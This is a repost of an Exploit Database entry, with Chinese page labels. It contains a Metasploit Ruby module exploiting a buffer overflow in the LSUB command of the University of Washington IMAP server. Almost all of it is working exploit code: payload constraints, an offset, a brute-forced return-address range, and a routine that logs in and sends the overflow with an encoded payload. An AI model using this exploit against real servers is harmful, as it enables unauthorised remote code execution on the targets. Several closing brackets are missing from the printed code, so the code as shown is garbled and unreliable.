UoW IMAPd Server – LSUB Buffer Overflow (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2010-03-26
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/16846/

# $Id: imap_uw_lsub.rb 8932 2010-03-26 19:00:23Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Brute

include Msf::Exploit::Remote::Imap

def initialize(info = {})

super(update_info(info,

'Name' => 'UoW IMAP server LSUB Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in the 'LSUB'

command of the University of Washington IMAP service.

This vulnerability can only be exploited with a valid username

and password.

'Author' => [ 'patrick', 'jduck' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 8932 $',

'References' =>

[

[ 'CVE', '2000-0284' ],

[ 'OSVDB', '12037' ],

[ 'BID', '1110' ],

[ 'URL', 'http://www.milw0rm.com/exploits/284' ],

'Privileged' => false,

'Payload'=>

{

'Space'=> 964,

'BadChars' => "\x00\x0a\x0d\x2f",

'StackAdjustment' => -3500,

'Platform' => 'linux',

'Targets'=>

[

# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],

[ 'Linux Bruteforce',

{

'Platform' => 'linux',

'Offset' => 1064,

'Bruteforce' =>

{

'Start' => { 'Ret' => 0xbffffdfc },

'Stop'=> { 'Ret' => 0xbfa00000 },

'Step'=> 200

}

]

'DisclosureDate' => 'Apr 16 2000',

'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner =~ /IMAP4rev1 v12.264/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def brute_exploit(addresses)

print_status("Trying 0x%.8x ..." % addresses['Ret'])

if (not connect_login)

raise RuntimeError, "Unable to log in!"

end

req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']

sock.put(req)

buf = sock.get_once

sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"

sock.put(sploit)

handler

disconnect

end